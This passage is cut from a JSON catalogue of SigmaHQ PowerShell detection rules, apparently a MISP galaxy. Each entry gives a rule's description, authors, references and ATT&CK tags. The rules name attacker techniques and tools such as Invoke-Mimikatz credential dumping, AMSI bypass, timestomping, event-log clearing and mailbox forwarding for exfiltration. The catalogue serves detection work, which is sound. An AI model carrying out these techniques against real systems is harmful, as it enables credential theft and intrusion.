"https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-6---wmi-invoke-cimmethod-scheduled-task", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cmdlet_scheduled_task.yml" ], "tags": [ "attack.persistence", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "363eccc0-279a-4ccf-a3ab-24c2e63b11fb", "value": "Powershell Create Scheduled Task" }, { "description": "Adversaries may modify file time attributes to hide new or changes to existing files.\nTimestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.\n", "meta": { "author": "frack113", "creation_date": "2021/08/03", "falsepositive": [ "Legitimate admin script" ], "filename": "posh_ps_timestomp.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://www.offensive-security.com/metasploit-unleashed/timestomp/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_timestomp.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.006" ] }, "related": [ { "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c6438007-e081-42ce-9483-b067fbef33c3", "value": "Powershell Timestomp" }, { "description": "Detects the use of PSAttack PowerShell hack tool", "meta": { "author": "Sean Metcalf (source), Florian Roth (rule)", "creation_date": "2017/03/05", "falsepositive": [ "Unknown" ], "filename": "posh_ps_psattack.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://adsecurity.org/?p=2921", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psattack.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b7ec41a4-042c-4f31-a5db-d0fcde9fa5c5", "value": "PowerShell PSAttack" }, { "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection", "meta": { "author": "frack113", "creation_date": "2022/04/09", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_susp_hyper_v_condlet.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.006/T1564.006.md#atomic-test-3---create-and-start-hyper-v-virtual-machine", "https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_hyper_v_condlet.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.006" ] }, "related": [ { "dest-uuid": "b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "42d36aa1-3240-4db0-8257-e0118dcdd9cd", "value": "Suspicious Hyper-V Cmdlets" }, { "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", "meta": { "author": "frack113", "creation_date": "2021/12/30", "falsepositive": [ "Legitimate administrative script" ], "filename": "posh_ps_get_acl_service.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.2", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_acl_service.yml" ], "tags": [ "attack.persistence", "attack.t1574.011" ] }, "uuid": "95afc12e-3cbb-40c3-9340-84a032e596a3", "value": "Service Registry Permissions Weakness Check" }, { "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information", "meta": { "author": "frack113", "creation_date": "2022/01/12", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_create_volume_shadow_copy.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7", "https://attack.mitre.org/datasources/DS0005/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_volume_shadow_copy.yml" ], "tags": [ "attack.credential_access", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "afd12fed-b0ec-45c9-a13d-aa86625dac81", "value": "Create Volume Shadow Copy with Powershell" }, { "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", "meta": { "author": "frack113", "creation_date": "2022/01/07", "falsepositive": [ "Legitimate script" ], "filename": "posh_ps_enable_psremoting.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.2", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_psremoting.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.006" ] }, "related": [ { "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "991a9744-f2f0-44f2-bd33-9092eba17dc3", "value": "Enable Windows Remote Management" }, { "description": "Detects usage of the powerShell Set-Mailbox Cmdlet to set-up an SMTP forwarding rule.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/26", "falsepositive": [ "Legitimate usage of the cmdlet to forward emails" ], "filename": "posh_ps_exchange_mailbox_smpt_forwarding_rule.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_exchange_mailbox_smpt_forwarding_rule.yml" ], "tags": [ "attack.exfiltration" ] }, "uuid": "15b7abbb-8b40-4d01-9ee2-b51994b1d474", "value": "Suspicious PowerShell Mailbox SMTP Forward Rule" }, { "description": "Detects usage of known powershell cmdlets such as \"Clear-EventLog\" to clear the windows event logs", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/12", "falsepositive": [ "Rare need to clear logs before doing something. Sometimes used by installers or cleaner scripts. The script should be investigated to determine if it's legitimate" ], "filename": "posh_ps_susp_clear_eventlog.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", "https://twitter.com/oroneequalsone/status/1568432028361830402", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_clear_eventlog.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.001" ] }, "related": [ { "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0f017df3-8f5a-414f-ad6b-24aff1128278", "value": "Suspicious Eventlog Clear" }, { "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as\na precursor for Collection and to identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n", "meta": { "author": "frack113", "creation_date": "2021/12/15", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_smb_share_reco.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_smb_share_reco.yml" ], "tags": [ "attack.discovery", "attack.t1069.001" ] }, "related": [ { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "95f0643a-ed40-467c-806b-aac9542ec5ab", "value": "Suspicious Get Information for SMB Share" }, { "description": "Detects attempts of decoding a base64 Gzip archive in a PowerShell script. This technique is often used as a method to load malicious content into memory afterward.", "meta": { "author": "frack113", "creation_date": "2022/12/23", "falsepositive": [ "Legitimate administrative script" ], "filename": "posh_ps_frombase64string_archive.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=43", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_frombase64string_archive.yml" ], "tags": "No established tags" }, "uuid": "df69cb1d-b891-4cd9-90c7-d617d90100ce", "value": "Suspicious FromBase64String Usage On Gzip Archive - Ps Script" }, { "description": "Detects Commandlet names from ShellIntel exploitation scripts.", "meta": { "author": "Max Altgelt, Tobias Michalski", "creation_date": "2021/08/09", "falsepositive": [ "Unknown" ], "filename": "posh_ps_shellintel_malicious_commandlets.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/Shellntel/scripts/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellintel_malicious_commandlets.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "402e1e1d-ad59-47b6-bf80-1ee44985b3a7", "value": "Malicious ShellIntel PowerShell Commandlets" }, { "description": "Detects known WMI recon method to look for unquoted service paths, often used by pentest inside of powershell scripts attackers enum scripts", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/20", "falsepositive": [ "Unknown" ], "filename": "posh_ps_wmi_unquoted_service_search.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_unquoted_service_search.yml" ], "tags": [ "attack.execution", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "09658312-bc27-4a3b-91c5-e49ab9046d1b", "value": "WMIC Unquoted Services Path Lookup - PowerShell" }, { "description": "Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts", "meta": { "author": "Florian Roth", "creation_date": "2022/11/09", "falsepositive": [ "Unknown" ], "filename": "posh_ps_amsi_bypass_pattern_nov22.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/", "https://twitter.com/cyb3rops/status/1588574518057979905?s=20&t=A7hh93ONM7ni1Rj1jO5OaA", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_amsi_bypass_pattern_nov22.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001", "attack.execution" ] }, "uuid": "e0d6c087-2d1c-47fd-8799-3904103c5a98", "value": "AMSI Bypass Pattern Assembly GetType" }, { "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", "meta": { "author": "frack113", "creation_date": "2022/02/01", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_run_from_mount_diskimage.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso", "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_run_from_mount_diskimage.yml" ], "tags": [ "attack.defense_evasion", "attack.t1553.005" ] }, "related": [ { "dest-uuid": "7e7c2fba-7cca-486c-9582-4c1bb2851961", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "902cedee-0398-4e3a-8183-6f3a89773a96", "value": "Suspicious Invoke-Item From Mount-DiskImage" }, { "description": "Adversaries may target user email on local systems to collect sensitive information.\nFiles containing email data can be acquired from a users local system, such as Outlook storage or cache files.\n", "meta": { "author": "frack113", "creation_date": "2021/07/21", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_mail_acces.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1114.001/T1114.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mail_acces.yml" ], "tags": [ "attack.collection", "attack.t1114.001" ] }, "related": [ { "dest-uuid": "1e9eb839-294b-48cc-b0d3-c45555a2a004", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2837e152-93c8-43d2-85ba-c3cd3c2ae614", "value": "Powershell Local Email Collection" }, { "description": "Detects the use of PowerShell to identify the current logged user.", "meta": { "author": "frack113", "creation_date": "2022/04/04", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_susp_get_current_user.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-4---user-discovery-with-env-vars-powershell-script", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_current_user.yml" ], "tags": [ "attack.discovery", "attack.t1033" ] }, "uuid": "4096a49c-7de4-4da0-a230-c66ccd56ea5a", "value": "Suspicious PowerShell Get Current User" }, { "description": "Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/11/17", "falsepositive": [ "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" ], "filename": "posh_ps_user_discovery_get_aduser.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_user_discovery_get_aduser.yml" ], "tags": [ "attack.discovery", "attack.t1033" ] }, "uuid": "c2993223-6da8-4b1a-88ee-668b8bf315e9", "value": "User Discovery And Export Via Get-ADUser Cmdlet - PowerShell" }, { "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", "meta": { "author": "oscd.community, Natalia Shornikova", "creation_date": "2020/10/14", "falsepositive": [ "Unknown" ], "filename": "posh_ps_cl_invocation_lolscript_count.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://twitter.com/bohops/status/948061991012327424", "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript_count.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f588e69b-0750-46bb-8f87-0e9320d57536", "value": "Execution via CL_Invocation.ps1 (2 Lines)" }, { "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2019/10/21", "falsepositive": [ "Highly likely if archive operations are done via PowerShell." ], "filename": "posh_ps_data_compressed.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560/T1560.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_data_compressed.yml" ], "tags": [ "attack.exfiltration", "attack.t1560" ] }, "related": [ { "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6dc5d284-69ea-42cf-9311-fb1c3932a69a", "value": "Data Compressed - PowerShell" }, { "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\nRegistry entries in HKLM\\Software[Wow6432Node]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are\nused to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to\nload and execute malicious DLLs and/or executables.\n", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2019/10/21", "falsepositive": [ "Unknown" ], "filename": "posh_ps_winlogon_helper_dll.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_winlogon_helper_dll.yml" ], "tags": [ "attack.persistence", "attack.t1547.004" ] }, "uuid": "851c506b-6b7c-4ce2-8802-c703009d03c0", "value": "Winlogon Helper DLL" }, { "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/24", "falsepositive": [ "Rare intended use of hidden services", "Rare FP could occure due to the non linearity of the ScriptBlockText log" ], "filename": "posh_ps_susp_service_dacl_modification_set_service.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", "https://twitter.com/Alh4zr3d/status/1580925761996828672", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_service_dacl_modification_set_service.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.privilege_escalation", "attack.t1574.011" ] }, "uuid": "22d80745-6f2c-46da-826b-77adaededd74", "value": "Suspicious Service DACL Modification Via Set-Service Cmdlet - PS" }, { "description": "Detects Invoke-Mimikatz PowerShell script and alike. Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords.", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/28", "falsepositive": [ "Mimikatz can be useful for testing the security of networks" ], "filename": "posh_ps_potential_invoke_mimikatz.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/potential-invoke-mimikatz-powershell-script.html#potential-invoke-mimikatz-powershell-script", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_potential_invoke_mimikatz.yml" ], "tags": [ "attack.credential_access", "attack.t1003" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "189e3b02-82b2-4b90-9662-411eb64486d4", "value": "Potential Invoke-Mimikatz PowerShell Script" }, { "description": "Detects execution of \"TroubleshootingPack\" cmdlets to leverage CVE-2022-30190 or action similar to \"msdt\" lolbin (as described in LOLBAS)", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/21", "falsepositive": [ "Legitimate usage of \"TroubleshootingPack\" cmdlet for troubleshooting purposes" ], "filename": "posh_ps_susp_follina_execution.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://twitter.com/nas_bench/status/1537919885031772161", "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_follina_execution.yml" ], "tags": [ "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "03409c93-a7c7-49ba-9a4c-a00badf2a153", "value": "Troubleshooting Pack Cmdlet Execution" }, { "description": "Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module", "meta": { "author": "oscd.community, Natalia Shornikova", "creation_date": "2020/10/14", "falsepositive": [ "Unknown" ], "filename": "posh_ps_cl_mutexverifiers_lolscript.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", "https://twitter.com/pabraeken/status/995111125447577600", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "39776c99-1c7b-4ba0-b5aa-641525eee1a4", "value": "Execution via CL_Mutexverifiers.ps1" }, { "description": "Detects usage of the \"Get-AdComputer\" to enumerate Computers within Active Directory.", "meta": { "author": "frack113", "creation_date": "2022/03/17", "falsepositive": [ "Unknown" ], "filename": "posh_ps_get_adcomputer.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adcomputer.yml" ], "tags": [ "attack.discovery", "attack.t1018" ] }, "uuid": "36bed6b2-e9a0-4fff-beeb-413a92b86138", "value": "Active Directory Computers Enumeration with Get-AdComputer" }, { "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/16", "falsepositive": [ "Legitimate administration activities" ], "filename": "posh_ps_software_discovery.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/harleyQu1nn/AggressorScripts", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_software_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1518" ] }, "uuid": "2650dd1a-eb2a-412d-ac36-83f06c4f2282", "value": "Detected Windows Software Discovery - PowerShell" }, { "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unknown" ], "filename": "posh_ps_invoke_obfuscation_via_use_clip.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_clip.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "db92dd33-a3ad-49cf-8c2c-608c3e30ace0", "value": "Invoke-Obfuscation Via Use Clip - Powershell" }, { "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts.\nWithout knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism\n", "meta": { "author": "frack113", "creation_date": "2021/12/27", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_networkcredential.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.001/T1110.001.md#atomic-test-2---brute-force-credentials-of-single-active-directory-domain-user-via-ldap-against-domain-controller-ntlm-or-kerberos", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_networkcredential.yml" ], "tags": [ "attack.credential_access", "attack.t1110.001" ] }, "uuid": "1883444f-084b-419b-ac62-e0d0c5b3693f", "value": "Suspicious Connection to Remote Account" }, { "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", "meta": { "author": "frack113", "creation_date": "2022/02/01", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_susp_mount_diskimage.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image", "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mount_diskimage.yml" ], "tags": [ "attack.defense_evasion", "attack.t1553.005" ] }, "related": [ { "dest-uuid": "7e7c2fba-7cca-486c-9582-4c1bb2851961", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "29e1c216-6408-489d-8a06-ee9d151ef819", "value": "Suspicious Mount-DiskImage" }, { "description": "Detects keywords that could indicate the use of some PowerShell exploitation framework", "meta": { "author": "Florian Roth, Perez Diego (@darkquassar)", "creation_date": "2019/02/11", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_keywords.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://gist.github.com/MHaggis/0dbe00ad401daa7137c81c99c268cfb7", "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-ReflectivePEInjection.ps1", "https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462", "https://github.com/hlldz/Phant0m/blob/30c2935d8cf4aafda17ee2fab7cd0c4aa9a607c2/old/Invoke-Phant0m.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keywords.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1f49f2ab-26bc-48b3-96cc-dcffbc93eadf", "value": "Suspicious PowerShell Keywords" }, { "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data", "meta": { "author": "frack113", "creation_date": "2021/07/30", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_recon_export.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", 